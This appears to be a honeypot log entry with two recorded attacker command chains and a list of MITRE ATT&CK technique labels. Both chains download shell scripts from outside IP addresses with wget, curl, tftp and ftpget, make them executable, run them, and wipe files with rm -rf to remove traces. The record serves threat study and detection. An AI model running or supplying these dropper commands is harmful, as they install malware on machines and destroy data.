Honeypot attack session (period 2021_2022), commands issued:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf installer.sh; wget http://51.75.170.84/installer.sh; chmod 777 installer.sh; sh installer.sh; rm -rf tftp1.sh; tftp 51.75.170.84 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; rm -rf tftp2.sh; tftp -r tftp2.sh -g 51.75.170.84; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf *
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.175.194.108/sh; curl -O http://107.175.194.108/sh; chmod 777 sh; sh sh; tftp 107.175.194.108 -c get bins.sh; chmod 777 bins.sh; sh bins.sh; tftp -r .sh -g 107.175.194.108; chmod 777 .sh; sh .sh; ftpget -v -u anonymous -p anonymous -P 21 107.175.194.108 .sh .sh; sh .sh; rm -rf sh bins.sh .sh .sh; rm -rf *

MITRE ATT&CK techniques observed:
T1083 File and Directory Discovery
T1070 Indicator Removal
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal